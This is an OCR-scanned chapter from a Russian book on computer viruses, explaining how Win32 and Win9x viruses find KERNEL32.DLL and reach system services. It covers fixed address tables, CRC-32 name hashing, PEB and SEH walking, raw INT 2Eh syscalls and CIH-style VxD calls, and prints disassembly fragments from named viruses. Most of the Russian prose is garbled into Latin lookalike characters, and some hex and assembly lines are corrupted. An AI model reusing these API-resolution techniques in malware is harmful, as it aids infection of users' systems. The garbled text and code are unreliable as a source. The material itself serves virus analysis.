JKECTKO OPUEHTHPOBAHHBIX Ha KOHKpeTHyI0 Bepcuto Windows, mopo6-
musie Win32.Lad.1916 Bupychl cioco6GHBI pa3MHOKATLCS B HECKOTHLKUX
pasnuuHbiX Bepcusix Windows, 3a 4To B Ha3BaHUHU TOJYUYHIN MpedUKC
«Win32». Bupouem, He cTOUT 0O0JIbIIATLCA UX «BE3JEX0HOCThIO>. J[e10
B TOM, uTo (prupma Microsoft Bbilyckaer HOBblE CEPBHUCIAKU K CTapPbIM
BepcusiMm Windows WHOT/Ia 10 HECKOJIBKY MITYK B TOJT, HE TOBOPST YK O TOM,
YTO pa3 B /IBA-TPH TOJIa TIOSBJSETCS HOBAS BEPCUS ATON ONepalinoHHON
cucremsbl. Eciu ¢ 6asoseivu agpecamu «<KERNEL32.DLL» eme na6iio-
MaeTcst XOTh KaKasi-To TpeeMcTBeHHOCTh (1 moatomy Win32.Lad. 1916, re
obHapysKuB OUOIMOTEKY Ha «3aKOHHOM» MECTE, BIIOJIHE PE30HHO [IbITAET-
¢ HallTH ee Tae-HUOYIb HEIoJaleKy), TO ajpeca KOHKPETHBIX (hyHKIIUI
BHYTPU Hee <«I1IaBafoT» OT BEPCUU K BEPCUU rOpaszio XaoTuanei. /s ni-
JIOCTPAIMU HTOTO 0OCTOATENBCTBA TOCMOTPUM Ha (hPATMEHT CIIPABOYHOMN
TabJIMIKK, COOPAHHOI B CaMBIX PasHOOOPA3HBIX BEPCHUIX M MOAM(UKA-
usix Windows ¢ yueToM BCEBO3MOKHBIX «OUJIIOBY, «PEJIM30B» M «CEpP-
BUCIIAKOB». IMeTh Takyro TabauuKy (cM. TabJ. 4.8) I0JIe3HO He TOJIBKO
BUPYCOTIUCATEIIO, HO ¥ BUPYCOJIOTY, — XOTsI ObI Pajiil TOTO, YTOOBI Pa3o-
GpaThCs B yCTPOUCTBE OUEPEIHOTO HOBOTO BUPYCA, COJEPIKAIIETO BHYTPH
MaHUITY TSN ¢ HETOHSTHBIMU a/[PECAMU.

B rabimuke ver Hu Windows Vista, Hu Windows 7, motomy 4to B 9THUX
BEPCUSAX CUCTEMHBIE TaGJIHIIBI «IIJIABAIOT> B TIAMSITH, — U 9TO CJIEJIAHO CIIe-
IAAIBHO.

Kax 651 TO H1 661710, BUpyCY, 06Hapy:kuBiiemy B mamsit « KERNEL32.
DLL», najee HeoOX0aMMO, CKaHUPYsT « Tabyuity uMeH (QyHKIUiT», HAlTH
B Hell cTpokoBoe uMst yHkimu (Hanpumep, ‘ReadFile’), motom coorBet-
CTBYIOIIUHN MOPSIAKOBBII HOMep B «TabJiiiie HOMEPOB», a [0 TOMY HOMe-
Py — UCKOMBIiT ajipec B «Tabuiuite azpecoBs. AHAIU3UPYI KOJI Pa3JIUUHBIX
BUPYCOB, MOKHO OOHAPY/KUTH JIBA OCHOBHBIX MOJIX0/1a, KOTOPbIE UCIIOJIb-
3YIOT BUPYCOITUCATENN JIJIT TOUCKA CTPOKOBOTO MMEHU (DYHKITHM.
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Ta6nuua 4.8. dukcuposaHHbie afapeca B HEKOTOPbIX BePCUSIX

Windows
ocC KERNEL32.DLL GetProcAddress ExitProcess

Windows 95 0xBFF70000 OxBFF76C18 OxBFF8AFDD
Windows 95 0xBFF70000 0xBFF76D5C 0xBFFSBAECD
Windows 98 0xBFF70000 0xBFF76DA0 OxBFF8C4ES5
Windows 98 0xBFF70000 0xBFF76DAC 0xBFF8D4CA
Windows 98 0xBFF70000 OxBFF76DA8 OxBFF8D4F8
Windows ME 0xBFF60000 0xBFF66D80 0xBFF7D97D
Windows NT4 0x77F00000 0x77F13C1E 0x77F19569
Windows NT4 0x77F00000 0x77F13FCA 0x77F19FB2
Windows NT4 0x77F00000 0x77F14010 0x77F19FE6
Windows 2000 0x77E80000 0x77E9564B 0x77E9B0OBB
Windows 2000 0x77E80000 0x77E89AC1 0x77E98F94
Windows 2000 0x77E80000 0x77E89B18 0x77E9CF5C
Windows XP 0x7C800000 0x7C80AC28 0x7C81CAA2
Windows 2003 0x77E40000 0x77E42DFB OX77E4F1E4
Windows 2003 0x77E60000 0x77E7B332 0x77E798FD

[IepBbIit, camblii TTPOCTON W €CTECTBEHHBIH, 3aKJI0YAETCSI B TOCUM-
BOJIbHOM CPaBHEHHMU CTPOKOBBIX MMEH, COJIEPIKAIINXCS] B BUPYCE, C dJie-
MeHTaMu «Tabauibl uMeHs auHaMudeckoil 6ubanorekn «KERNEL32.
DLL». B atom cirydae B Teste BUpyca nMeHa (HYHKITHIT OOBITHO BUMHBI «HA
MTPOCBET», U TTO0 HUM MOYKHO C JIOCTATOYHOI CTETEeHBI0 YBEPEHHOCTH (el
M3acceMOIMPOBAHIIST OTIPEIESTUTH OCHOBHDBIE CBOMCTBA M TOBAIKHU «3a-
pasbi». Pasrusiabisast, Hanpumep, gami supyca Win32.Idyll.1556, moskHo
6e3 Tpy/Ia oTaaThCsI, YTO OH KpaifHe MPOCT U HETPUTSA3ATEEH, OOHAPY-
JKIBAET CBOM <KEPTBBI» TIOMCKOM B TEKYIIIEM KaTaJIOTe, & IPH 3aPasKEeHUN
WCTIOJIB3YET [IJIsi XPAHEHUsI CBOUX BPEMEHHDBIX [AHHBIX [UHAMUYIECKYIO

IIaMATb:

B10: 26 46 49
B20: 41 00 43
B30: 69 6E 67
B40: 6C 65 00
B50: 6C 65 00
B60: 69 72 74
B70: 75 61 6C
B80: 74 46 69
B90: 69 6C 65
BAO: 69 62 75
BBO: 72 72 6F

75-F5 C3 43
72-65 61 74
41-00 4D 61
55-6E 6D 61
43-6C 6F 73
75-61 6C 41
46-72 65 65
6C-65 41 00
41-00 53 65
74-65 73 41
72-00 00 00

72-65 61
65-46 69
70-56 69
70-56 69 65
65-48 61 6E
6C-6C 6F 63
00-46 69 6E
46-69 6E 64
74-46 69 6C
00-47 65 74
00-00 00 00

74
6C
65

65-46 69
65-4D 61
77-4F 66
77-4F 66
64-6C 65
00-56 69
64-46 69
4E-65 78
65-41 74
4C-61 73
00-00 00

6C 65
70 70
46 69
46 69
00 56
72 74
72 73
74 46
74 72
74 45
00 00

&FIui+.CreateFile
A CreateFileMapp
ingA MapViewOfFi
le UnmapViewOfFi
le CloseHandle V
irtualAlloc Virt
ualFree FindFirs
tFileA FindNextF
ileA SetFileAttr
ibutesA GetlastE
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Bropoii moaxox 6osee HeoObiueH u kpacuB. OH IpepycMaTpuBaer
CpaBHEeHMe He IOJIHBIX CTPOK, a KOHTPOJIbHBIX CYMM U Xell-(pyHKIIUN
or uux, Hanpumep CRC-32. Cuuraercs, 4To BIiepBble 3TOT IPUeM ObLI
ucnosnb3oBan B Bupyce Win32.Parvo, a nos:ke BocrpousBeieH B He-
CKOJIBKUX JIECSATKAX JPYTUX BUPYCOB. JIIOOOIBITHO, YTO XOTSI QJITOPUTM
CRC-32 MOKHO OBLIO CPAaBHUTEJIBHO JIEFKO 0POPMUTH CAMOCTOSITEIHHO,
MIPAKTUYECKH BCE BUPYChI UCIIOIB3YIOT OIUH ¥ TOT ke Ko Kox Hanucan
JOCTATOYHO AKKYPATHO U JIEHCTBUTEIBHO BHIYUCIISIET CTAHIAPTHYIO Xelll-
dyurumio CRC-32 g 6/10Ka JaHHBIX, HA4aJIbHBIN apec KOTOPOIo yKa-
3an B peructpe ESI, a nimuna — B EDL:

41868A: FC cld

41868B: 33C9 Xor €cx, ecx

41868D: 49 dec ecx

41868E: 8BD1 mov edx, ecx

418690: 53 push ebx

418691: 33C0 Xor eax, eax

418693: 33DB Xor ebx, ebx

418695: AC lodsb

418696: 32C1 Xor al,cl

418698: 8ACD mov cl,ch

41869A: B8AEA mov ch,dl

41869C: 8AD6 mov dl,dh

41869E: B608 mov dh, 008

4186A0: 66D1EB shr bx, 1

4186A3: 66D1D8 rer ax, 1

4186A6: 7309 jae .0004186B1

4186A8: 66352083 xor ax, 08320 ; CTaHpapTHLIN...
4186AC: 6681F3B8ED xor bx, 0EDB8 i ..opoXaanumii NOAUHOM
4186B1: FECE dec dh

4186B3: 75EB jne .0004186A0

4186B5: 33C8 Xor ecx, eax

4186B7: 33D3 Xor edx, ebx

4186B9: 4F dec edi ; CyeTunk 06paboTaHHbIX 6alnTOB
4186BA: 75D5 jne .000418691

4186BC: 5B pop ebx

4186BD: F7D2 not edx

4186BF: F7D1 not ecx

4186C1: 8BC2 mov eax, edx

4186C3: C1C010 rol eax, 010

4186C6: 668BC1 mov ax, cx ; PesynbTat
4186C9: C3 retn

Yrobbl pazobpaThCst B aJrOPUTME BUPYCOB, AEUCTBYIOIIUX IO TO-
JOOHOMY NPUHIIMAIY, BUPYCOJOrY HEOOXOAUMO MMEeTh TabJUYKy C 3apa-
nee paccuntannbivu CRC a1t uMen cucteMHbIX cepBucoB. Harmpumep,
crpoka 'FindFirstFileA' umeer CRC-32, pasubiii 0C9EBD5CEh (wiu
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0AE17EBEFh, ecin yunrsisars 3apepiatomuii 0); crpoka 'CreateFile A" —
553B5C78h (1 08C892DDFh) u . 1.

Ectb BUpPYyCHI, KOTOPBIE UCTIONB3YIOT U IPYTU€ KOHTPOJIbHbBIE CYMMBI 1
xem-gynakiuu. Hanpumep, Win32.Tecata.1761 paccunTbiBaeT Xeli, co-
CTOSITIUET U3 JIBYX MEPBHIX OYKB U apu(MeTHIeCKO CyMMbI KOJIOB BCEX
CUMBOJIOB MeHU (hyHKIUN. 3ab6aBHO, YTO B CBOMX 3JIEKTPOHHBIX JKypHA-
JIaX ¥ Ha WHTEpHET-POPyMax MHOTHE aBTOPHI MOA0GHBIX CTPAHHBIX aJIro-
PUTMOB TIOYEMY-TO UMEHYIOT UX TeM ke caMbiM mMeHeM «CRCs, uTo Ha
CaMOM JIeJIe 03HAYAET «I[UKJINIECKUI N3OBITOUHBII KOI» U HUYTO HHOE.
BuMo, B BUpyCOIMCATeN YacTO UYT OOUKEHHbIE ITKOJIbHUKY, CXBa-
THUBIIINE «I1apy» 10 HH(POPMATHKE.

4.3.4.2. Camocmosmenvnouii nouck aopeca KERNEL32.DLL

TTo Mepe mostBIeHNsI HOBBIX Bepcuit Windows BUPYChI, HCITOJIB3YIOTIIE
PACCMOTPEHHDBIN BBIIIE «METOJl MPENONPEIETCHHBIX aJPECOB», CTAHO-
BTCS HepaboTococobHbiMU. ITo 9TO0i pUYKMHE BUPYCOIKMCATENN Yallle
MPUMEHSIOT 00Jiee CJIOKHBIE METOJbI, MO3BOJISONINE OOHAPY/KUBATH
«KERNEL32.DLL» B namsaTu, He onupasch Ha Kakue-aubo 3apaHee mpe-
JIOTIpe/ieIeHHbIE ajipeca.

B 51X MeTo1aX KII0UE€BBIM MOMEHTOM SIBJISIETCST HAXOKAEHIE JIIOOTO
azipeca, ykasbiBatolero kyaa-uuoyap BHyTph «KERNEL32.DLL»>. IToc-
Jie 3TOTO, CKAHUPYSI TTAMSITh B CTOPOHY YMEHBIIIEHUS a[PECOB, MOKHO TIO
emeterusiM, Kpatabiv 10000h, paHo uii mo3HO 0OHAPYKUTH 3aBETHYIO
curratypy 'MZ' (1in kakoii-HuGy b APYroil MPU3HAK, XapaKTePHbI I
3aroJioBKa oOpasa [MHaMU4ecKoil GubInoTeKn).

Bort aT;t MmeTonbLI.

Bo-nepBbix, 3arpysunk nporpamMm Windows cam HoJib3yercst B CBOei
pabore cepBuctbiMu Gynkunsymu « KERNEL32.DLL». Ilepenaya ynpas-
JIEHUST 3arPY’KEHHOI MporpaMMe OOBIYHO BBITTOJIHSIETCS U3 HeIp (DyHK-
i CreateProcessA komangoit CALL. CaemoBaTenbHO, IpU cTapTe PO-
rpaMMBbI JIBOMHOE CJIOBO Ha BEPIINHE CTEKA IOJIKHO YKa3blBaTh BHYTPD
«KERNEL32.DLL>.

Bot ¢parment Bupyca Win32.Hortiga.4938, ucnosb3yioriero aty me-
TOJIUKY:

406000 8B0424 mov eax, [esp] ; CHATb HavanbHHIl aapec co cTeka
406003 33D2 xor edx, edx ; 06HynuTb EDX, BKiO4As cTapune OuTH
406005 48 dec eax ; COBMHYTbCS Hasafn

406006 668B503C mov dx, [eax][3C] ; CmeweHue nons "Imagebase” B 3aronoeke
40600A 66F7C200F8 test dx, 0F800 . He cnuwkom nu Benuk appec?

40600F 75F2 jne .000406003 ;. Benuk - npofonxmMTb Nouck

406011 3B441034 cmp eax, [eax][edx][34] ; 37o none "ImageBase” ?

406015 75EC jne .000406003 . MpogonxmMTe NoucK

406011 ; Anopec HanpoeH u HaxoauTcsd B EAX
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Bropoii MmeTo/1 3aKTI04aeTCss B UCIIOJIb30BAHUY TIETIOYKH CTPYKTYPHBIX
00pabOTYNKOB UCK/II0YeHNIT (MBI HOAPOOHO PpacCMaTPUBALU TO IIOHATHE
B Hayajie TJIaBbl), IEPBBII 2JIEMEHT KOTOPOIi JlocTytieH 1o aapecy FS:[0].
IMocyennmii sxe anemeHT st GoabinntcTBa Bepeuii Windows «oburaers
rae-to BHyTpu «KERNEL32.DLL». CiieoBaTesibHO, CChLIKA Ha HETO,
pacIioyio;KeHHast B IpeAnocaejHeM 06paboTunKe CTPYKTYPHBIX UCKJIIOUe-
HUH, 1 €CTb UCKOMBIH azipec.

Tperuii merox — pas6op cucremuoit crpykrypsl TIB/TEB/PEB. [lesio
B TOM, UTO HEOJIHOKPATHO yroMuHasiuiics Bbinie ajgpec FS:[0] — ato Ha
CaMOM JeJIe BXOZ, B GOJIBIIYIO ¥ CJIOKHO OPTaHU30BAHHYIO CTPYKTYPY JaH-
HBIX, 3AII0JIHEHHYIO PasHOOOPasHOM c1y:KeOHOI nHbopMalmei, a yIroMs-
HyTast BbIIIE IIe[I0YKa CTPYKTYPHBIX 06pabOTYNKOB UCKJIIOYEHUI TPOCTO
«HauMHaercst» uMeHHo TaM. Mopmar aToil CTPYKTYpbI ¢1ab0 JOKYMEHTH-
pPOBaH ¥ HEOAMHAKOB B pasHbix Bepcusx Windows. 113 Bupyca B BUpyc
KOUYeT OJINH U TOT K€, JIEFKO OITO3HABAEMBIH /1a’Ke «HEBOOPY>KEHHBIM IJIa-
30M», OYeHb XapaKTEPHbI (hparMeHT MANITMHHOTO KOJIa, UCITOJIb3YIONTUI
3Ty METO/IUKY:

xXor eax, eax

add  eax, fs:[eax+30h]

js method_9x
method_nt:

mov  eax, [eax + Och]

mov  esi, [eax + 1ch]

lodsd

mov  eax, [eax + 08h]

jmp  k32_ptr_found
method_9x:

mov  eax, [eax + 34h]

lea eax, [eax + 7ch]

mov  eax, [eax + 3ch]
k32_ptr_found:

Merozanka pro6Gpesia Moy aspHocTh yike B X X1 Beke, OHa II03BOJISIET
HaxozuTh He TosbKOo ajipec «KERNEL32.DLLy, Ho u npyrux s3arpy:xeH-
HBIX B TAMATH OUOIUOTEK, M UCIIOIB3YETCS PEUMYIIECTBEHHO B CETEBBIX
U TIOYTOBBIX YEPBSIX.

Hakownern, ynmoMsHeM HCIOJb30BaHUE BUPYCOM (YHKIIMIA, yiKe UM-
NOPTUPOBAHHBIX 3apa’kaeMoil mporpammoil. Hesp3st He mpusHaTh, uTO
BCE PACCMOTPEHHBIE BBIIIE METOAMKHU OCTYIA BUPYCOB K CHCTEMHBIM
CepBUCAM OCHOBBIBAIOTCS HAa HEJOKYMEHTHPOBAHHBIX OCOOGEHHOCTSX, W
METOJUKU 3TH CTPEMUTEJIBHO YCTapeBaioT. JleficTBUTEIBHO, TIOCTEeAHNI
B I[ETIOYKE CTPYKTYPHBIH 06pabOTYMK MCKITIOUEHUI U Mpoleaypa mepe-
Jay¥l yIpaBJeHus 3arpy’KeHHOI MPOTPaMMe B MOCJEIHIX CEPBUCIAKAX
Windows XP u 2003 ysxe murpuposaiu B 6ubanoreky «NTDLL.DLL»,
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na 1 axkT nocrogHcTBa nojokenns Oubnmorexkn «KERNEL32.DLL»
B IAMSITH TOXKe JIBIIINT Ha jajgan. [1o kpaitneii mepe, B Windows Vista/7
BBejled Mexanu3dM ASLR, KOTOPBIi NPUHYAUTENBHO TACYET ajipeca 3arpy-
JKaeMbIX CHCTEMHBIX OUOIHOTEK.

Ho ectb 6Gosiee «opTOOKCATBbHBII» ciocob moucka. OH OCHOBaH Ha
TOM, TO JiI0Oasi «HOPMAJIbHAS> POrPAMMA HCIOJB3YET XOTsI Obl OJIMH
cuctemubiii cepsuc us 6ubmorekn «KERNEL32.DLL» (06b14HO 5THM
cepBucoMm spiisiercst pynknus «ExitProcess»). 3uauuT, mocsie 3arpy3ku
B IIAMSATb BMECTE C 3aPAKEHHON MPOrpaMMO BUPYC MOXKET U3YYUTH ee
TabJIMIy UMIIOPTa ¥ HAUTH B HEl XOTst Obl OJMH ajpec, BEAYIIUH BHYTPb
«KERNEL32.DLL», 1y a gaJiblie HOCTyIIaTh, KAK HaMU ObLIO PAaCCMOTpE-
HO BbIlIe. BripoyeM, ecTb HEKOTOPbIE BUPYChI, KOTOPbIE HACTOJIbBKO <«JI€HU-
BbI», UTO CPa3y MBITAIOTCA HAUTU B TabJIUIlEe UMIIOPTA 3aPasKeHHON MPO-
rpaMMbl HyskHBbIe UM (dyHKImE, HanpuMep «GetProcAddress», koropas
HCIIOJIb3YETCd, 110 KpaiiHell Mepe, TTOJIOBUHON CTaHIAPTHBIX CUCTEMHBIX
yruaut Windows. Ecin HyKHbIX (DYHKIMI HET, TaKie BUPYChI IIPOCTO
OTKa3bIBAIOTCS OT 3apaKeHusl porpaMmbl. VIX aHTaroHUCTbl — CJIOKHBIE
Bupychl, Haripumep Win32.Score.3072, KoTopble caMOCTOSITENIHHO BbI-
HOJIHAIOT paboTy IIPOrpaMMbI-KOMIIOHOBIIMKA U A00aBJIAIOT B TaOIUILy
UMIIOpTa OTCYTCTBYIONMe (yHKIMKA. VIHTepecHble <«IOJIyMepbl» Ipel-
naraer aBrop Bupyca Win32.Idele.2108, koropslii B ciiydae OTCyTCTBUS
HYKHBIX (DYHKIUN CMEJIO BUIOU3MEHSIET B TAOJIUIAX UMIIOPTA OJHO W3
WMEH, TaK 4TO MPH 3aIyCKe TPOTPAMMbI 3aTPy34K OYeT UMETh B BULY
MMEHHO «HCIPABJIEHHOE» UMH.

4.3.4.3. Hcnonv3osanue <necmanoapmuoixs> Cepeéucos

B pazzene, mocssiiiieHHOM 0011I€ei XapaKTEePUCTHKE METOIOB 00pallieHusT
K CHCTEMHBIM CE€PBUCAM, OBLIO MTPOIEMOHCTPUPOBAHO, UTO KAJKI0€ TAKOE
obpaiiieHre TIPUBOAUT K aKTUBAI[UK JJIMHHOW IIETIOYKU BBI3OBOB, MOCHI-
JIaeMbIX U3 OIHOI BHyTpeHHel moacuctembl Windows B apyryo. [lpuuem
KaKIast TAKAs IOJICUCTeMA OOBIYHO TTPEICTABIISIET COOOT Y€TKO JIOKATHN30-
BaHHbINA HAGOp HpoLeAyp U PYHKIIMIA, UMEIOIUX CBOU MHTeP(ENChbl BbI-
30Ba U OPOPMIIEHHBIX B BU/IE IUHAMUYECKIX OUOIHOTEK WU JPAiBEPOB.
KoHeuHo, Bce 5T0 — BHYTPEHHSISI «KyXHsI» Pa3padOTUMKOB, KOTOPasi OU€Hb
c1abo TOKYMEHTUPOBAaHA, 2 KOHKPETHbIE CBEIEHMUSI O €€ YCTPOUCTBE — pe-
3yJIBTAT JIMOO JOJITUX XAKEPCKUX «KOBBIPSTHUN >, TO0 HH(MOPMAIOHHON
yreuku u3 Microsoft. Tem He MeHee B BUPYyCax 3TU «HECTAHAAPTHBIE> CH-
CTEMHBIE CEPBUCHI NCITOIB3YIOTCS, U C ONPE/IeJIEHHBIM YCIIEXOM.

Koneuno, ecim roBOpUTh O «HECTAHJAPTHBIX» CEPBUCAX, TO TIPEKIE
BCETO CTOUT YIOMSIHYTh ITUPOKO u3BecTHbIi (hakT: B Windows NT mpo-
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IPaMMHObII KOJI, HEITOCPEICTBEHHO PEATU3Y IO MHOTHE CUCTEMHBIE CeP-
BuChbl, pacnojaraercs B 6ubmoreke «NTDLL.DLL», a «crangapTHbie»
dyurimn n3 «KKERNEL32.DLL»> npeicrasiistior co0oii JIUIh «[1epexoj-
HUKU> K 9TOMYy Koxy. [Touemy Obl He BbisbiBaTh (yHKuuu ns «<NTDLL.
DLL» nanpsmyio? Ckazano — czuenano! Kem? ABropom Bupyca Win32.
Chthon, omy6/1MKoBaBIIUM CBOIO PazpabOTKy B SJIEKTPOHHOM KypHaJe
«29A». Huzke ipuBosuTest hparMeHT 3TOTO BUPYCa, OTBEYAIONNI 3 OT-
KpbiTHe aiina. Bupyc npeaBapuTenbHo HaIeA B TaMITH GHOINOTEKY
«NTDLL.DLL» («metomom TIB/TEB/PEB»), onpenennn BHYyTpU Hee
aznpec pyukimu «NtOpenFile» />ZwOpenFile» (onucanue ee mapamer-
pos MoxHO HaiiTi B NT DDK) 1 Terepb BbI3bIBAET €€ CIIEAYIONINM 00-
pasom:

push 000004021 ;o 0nuum OTKpLITUS

push 003 . llapameTpul pasfeneHuns poctyna

push esp ;. YkasaTenb Ha 610K uHGOopMauMu 0 pesysnbTaTe

push eax ;. YkasaTens Ha 610k aTpubyToB, BKYabWMX MMg daina
push 000100001 ; Macka pgocTyna Kk ¢anny

lea eax, [esi][04] . Anpec obnacTu nop ykasaTefb. .

push eax ; ...OTKPLTOrO danna

call [ebx][20] ; Bbi3oB cepBuca no M3BECTHOMY afpecy

Ho Beab Hemasag yacTb cucteMHbIX jgeiicteuil B Windows N'T BbI1o1-
ngercs gaxe He B omOamnoreke «<NTDLL.DLL», a B koMronenTtax 0-ro
KOJIBI[A 3AIMUTHI, K KOTOPBIM JIOCTYII OCYTIECTBIISAETCS Yepe3 NCKI0YeHre
«INT 2Eh». Hesb3st Jit KCIIOJIB30BaTh U 9TY BO3MOKHOCTb? «CTOMT T10-
npoboBaTh!> — peluan Bupyconucaten. [pexie Bcero oHu odpaTuin
cBoii B30p BHYTpb «NTDLL.DLL», 4T0o6bI OIpeAenTh, KaKast 4acTh Hau-
GoJiee «IOTYJISPHBIX> CEPBUCHBIX (DYHKIMI peajn3oBaHa BHYTPH Hee,
a Kakasg — B KOMIIOHeHTax (-To KOJbIbI 3amuThl. OKa3aI0Cch, YTO MOYTH
st Beex pynkinmii «NTDLL.DLLy, nmena kotopbix HaunHatoTCs ¢ «Nt»
wi «Zw», GUOGJINOTEUHBIN KO/ — TOKE BCETO JIUIID «IIEPEXOJHUKY, TTPH-
YeM OYeHb M OueHb He3aTeimuBbiil. CyuTe caMi, BOT KaK BBITJISIAT KO/
dyurunn «NtOpenFiles:

77F67B4C: B84F000000  mov eax, 00000004F ; Homep dyHKumm

77F67B51: 8D542404 lea edx, [esp][04] . Anpec 6noka napameTpoB B CTeke
77F67B55: CD2E int 02k ; llepexon B 0-e KONbUO

7T7F67B57: C21800 retn 00018 ; Bo3BpaT ¢ 04MCTKOW CcTeka

Takum  o6pasoMm, OJIOK TapaMeTpoB, IOJYYEHHBIX (DYHKIIHEH
«NtOpenFile», 6e3 kakux-1u60 uameHenuii nepegaercs B apo Windows
NT. Enunctsennoe, uro gaemaetr «<NTDLL.DLL», — aTo momeriaet B pe-
ructp EAX HOoMep BbizbiBaeMoil byHkitnu, utobnr oopaborauk INT 2Eh
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paszobpajics, 9TO eMy JIeJIaTh ¢ TTapaMeTPaMu, PACTIOJNOKEHHBIMU B CTEKe
(kcraru, agpec atoro 6Jioka gybnupyercst B EDX). 9tu HoMepa uaMeHsi-
I0TCST OT BEPCUU K BEPCUE OLIEPAIMOHHOI crcTeMbl (cM. TabJr. 4.9).

Tabnuuya 4.9. HekoTopbie HOMepa CUCTEeMHbIX CEPBUCOB B sifpe
Windows

HaumeHoBaHue BHP?':',I:?O :;'ggg Homep B XP | Homep B Vista
NtClose OFh 18h 25 48

NtCreateFile 17h 20h 27 60

NtOpenFile 4Fh 64h 116 186

NtReadFile 86h 0A1h 183 258

NtWriteFile 0C8h OEDh 274 359

ITpuMepsl BUPYCOB, CAMOCTOSITEIBHO OOPAIIAINIUXCS K CUCTEMHBIM
cepsuicam Windows NT uepes «INT 2Eh»: Win32.Ketan u WinNT. Jater.

NmeeTcst BO3MOKHOCTD MCIIOTH30BATh «HECTAHAAPTHBIC» CEPBUCHI 1
B Windows 9X. JTio6oe npusozxenue 0-ro Kosblia 3alUThl CIIOCOOHO 00-
palaThCs K CUCTEMHBIM JIpaliBepaM, UCIIOIb3ysl MEXaHU3M MPepPhIBAHIS
«INT 20h». EcrecTBeHHO, OHO JZOJIZKHO OO CAMO SBJIATLC APaiiBEPOM,
Ji00 TOTYYUTh TPUBUIETUH 0-TO KOJIbIIA 3AITUTHI TP MOMOIIH KaKOT0-
HUOY/Ib M3 U3BECTHBIX XaKEPCKUX <«TPIOKOB». Peub 00 3TUX <«TPIOKax»
MOUIET JAJTBIIIE, 37IECh K€ PACCMOTPUM METO/IBI 00PATIEHUST K CUCTEMHBIM
cepBHCaM B TIPEANOJOKEHUH, YTO TTPUJIOKeHNE (2 KOHKPETHO — BUPYC)
yIKe TeM WUJIH WHBIM CIIOCOOOM MTPOHUKIIO B «HYJIb>.

B Win9X mpemycMoTpero obpaliieHie K CHCTeMHBIM JpaiiBepaM mpu
MTOMOIIM TIepexBaTa MCKJIIOUEHUS, BO3HUKAIOIIETO BCJEICTBUE BBI30BA
npepbiBatus 20h. Mopmar aToro 0OpaleHnsT CHUIBHO 3aBUCUT OT CaMOTO
npaiiBepa. B obiem ciyuae mapameTps ApaiiBepy (1 Hasaj) TepeaalTest
1 B cTeKe, 1 B perrctpax. CoOCTBEHHO 0GpallieHre K ApaiBepy BHITJISIAT
CJIELYIOIIM 06Pa3oM:

int 20h ; BbI30B npepbiBaHua
dw ? . Kon BbinonHaemon onepauum
dw ? ; MoeHTudnkaTop gpansepa

Takum 06paszom, s 1000HOTO 0OpalieHns HEOOX0AUMO:

Q  3arpysuTb B PETUCTPHI U B CTEK HEOOXOAUMbBIE 3HAUCHUST;

O ykazarh uAEHTU(DUKATOP KOHKPETHOTO [paiiBepa (HAIpUMeD,
0001 — menemxep BupTyambHbiXx MammH VMM, 10 — mpaiisep
GJIOYHOIO 3alIOMIHAIONIEr0 YCTPOMCTBa, 40 — paiiBep MeHeKepa
nHcTaIMpyeMoi daitnosoit cuctemsl [IFSMgr n ipouee);
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QO ompeneanTp KO ONEpaluu, KOTOPYIO 3TOT ApaiiBep JOJKEH BbI-
MOJIHUTD (HAIpUMeED, [IJIst MeHeKepa BUPTyanbHbixX Mantud 0000 —
HOJIy4UTh HOMEp Bepeun Merekepa, 0053h — pacipegenuts cTpa-
HUITY BUPTYAJIbHOI TTAMSITH).

Jlnst oberdeHust Tpyaa MPOTrPAMMUCTOB, 3aHUMAIOTIMXCSA pa3paboT-
Koii npaiieepos Windows, hupma Microsoft onpeznesiia Bo BKIIOYaEMbIX
daittax DDK ase makpogupextussl — «VxDCall» u «VMMCall», xo-
TOPbIE «Pa3BOPAYMBAIOTCS» B BBINIENPUBEACHHDIH Ko/, Ho cripaBouHbie
JaHHbBIE TT0 WAEHTU(PUKATOPAM [PAilBEPOB, KOJaM ONepaliuy 1 Mo mapa-
MeTpaM BbI30Ba — cBsATast CBATHIX (hupmbl Microsoft. Koe-uro MoxkHO Hali-
™ B DDK 1 MSDN, Ho ocHOBHOIT HCTOYHUK NHGOPMAITUN — Pe3yJIBTaThl
XaKePCKUX MCCJIeIOBAHUI.

Mertoz obpammenus K rayOuHnbiM cepsucaM Windows Bolesn B MOLy
nocste raobabrol anugemun Bupyca Win9X.CIH. TTonyuus npusmie-
ruu 0-TO KOJIbITA 3AIMUTHI U HATPSMYTO TPOTPAMMUPYST Pa3JInIHbIe JIpaii-
BepbI, TOT BUPYC HE TOJBKO BBITTOJHSI caM (hailIoBbie onepamuu, HO 1
TepPeXBATHIBAJ OOPAIEHIST OT TPUKJIAIHBIX TPOTpaMM K (hailIoBoit cu-
CTeMe, pacupeziesiday BUPTYaTbHYIO MaMATD 110/l CBOM HYK/IbI, TUCAT MY-
cop B cekropa BuHuecrepa u gaxke nmoptui Flash-BIOS. Bor xak o, Ha-
puMep, OTKPbIBAJ (haiiibl:

; lpeanonaraeTtcd, 470 B e€Si — agpec vmeHu danna

0390: CD20 int  20h ; O0bpaueHue K apainsepy
0392: 3200 dw 0032h ; 06wnin ko ana open/read/write/close
0394: 4000 dw 0040h ; Kop IFSMgr

039D: 8BBE5S2FDFFFF mov  edi,[esi+390h] ; MMomecTuTb B edi..

03A3: 8B3F mov  edi,[edi] . ... a;pec KomaHae int 20h

03B2: 33C0 X0r — eax,eax

03B4: B4D5 mov  ah,0D5 ; OTKpbITh/CO3AaTb daiin

03B6: 33C9 Xor —ecx,ecx ; 0 - 3HayuT "mocTyn 6e3 orpaHuyeHuin”
03B8: 33D2 xor  edx, edx

03BA: 42 inc edx ;1 = 3HayuT, 9TO KOMaHaa "OTKpPbITh”
03BB: 8BDA mov  ebx, edx

03BD: 43 inc  ebx ;2 - 9TO "OTKPbTb Ha 4YTeHue W 3anucb”
03BE: FFD7 call edi ; 06paTuThCsd K CepBucy

03C0: 93 xchg ebx,eax ; CoxpaHWTb X8HAN OTKPLTOro daina

Bbi o6paruin BHUMaHKE, 4TO HabOp HapaMeTpoB, KOTOPBHIM CEpPBUC-
Hast Ipolleypa 0OMEHUBAETCS ¢ IPOTPAMMON Y€PE3 PETHCTPBI, COOTBET-
crByer yukin 716Ch — «Extended Create/Open File», nosiBusiieiicst
B MS-DOS 7.X u criocob6Ho# paboTaTh ¢ JJIMHHBIMEI UMeHaMU (ailJioB?
Tax u 10JKHO OBITH, Bellb 00a ITUX CHCTEMHbBIX BbI30BA B KOHEUHOM UTOTE
06pAIIATCs K OTHOMY U TOMY JKe TIPOrPaMMHOMY KOjty!
